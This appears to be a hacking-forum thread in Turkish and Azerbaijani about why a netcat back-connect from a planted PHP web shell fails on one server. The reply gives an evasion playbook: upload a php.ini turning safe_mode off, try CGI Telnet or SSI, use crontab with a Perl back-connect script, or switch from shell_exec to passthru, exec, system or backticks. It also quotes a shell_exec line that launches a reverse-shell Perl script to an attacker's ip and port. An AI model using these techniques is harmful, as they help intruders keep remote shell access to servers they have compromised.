shellde böyle bi sorun var netcat ile baglanamıyorum diger sitelerde sorun yok aynı shelli kullanıyorum aynı porttan baglanıyorum nedenini bilen varmı ?
Ona görəki shell_exec() php funksiyası disable edilib.Çünki safe_mode=on
safe_mode on olduqda avtomatik olaraq shell_exec() exec() kimi execution-a xidmət edən php funksiyalar disable edilir(default behaviour for safe_mode=on)
O səbəbdən back connect edə bilmirsən çünki
backconnect metodu:
<?php shell_exec('herhansi.pl -i ip -p herhansiport');?>
execute edə bilmir pl skripti.
Bir neçə çıxış yolun var
1-cisi php.ini yaradıb içinə save et:
safe_mode = off
upload et gör safe_mode=off
ala bilsən sonrası backconnect edə biləcəksən.
Alınmırsa yəni php.ini alterable deyilsə
CGi Telnet yoxla (just google about it)
Telnetlə execution ala bildinsə perl back connect də dolayı yolla edə biləcəksən.
ALınmırsa cgi telneti işə salmaq 3-cü metod:
SSI işə salmağa cəhd et.(ssi.php+izo.shtml axtar google da görəcəksən)
O da alınmasa mənəsələn httpd.conf da cgi execution (scriptalias) direktivi comment edilibsə.
Çalış cpanelə zada girəsən həmin hostda çerez crontab+perl skriptlə back connect edəsən.
Çoxlu yol var əsasları bunlar idi.
Burda şəkildən normal görə bilmirəm amma ki bir variantın da var shelldə shell_exec() funksiyasını (back connectə cavabdeh funksiyanı dəyişdir)
passthru() funksiyasına gördüyüm qədərilə disable edilməyib o alınmalıdır.
This feature has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.
5.3.10 DUR SƏN də deməli safe_mode direktivi yoxdur sadəcə olaraq disable funcsiondur.
exec() yoxla+passthru yoxla system() yoxla
back tick yoxla
`perlscript.pl argument1 argument2 argument3 etc..`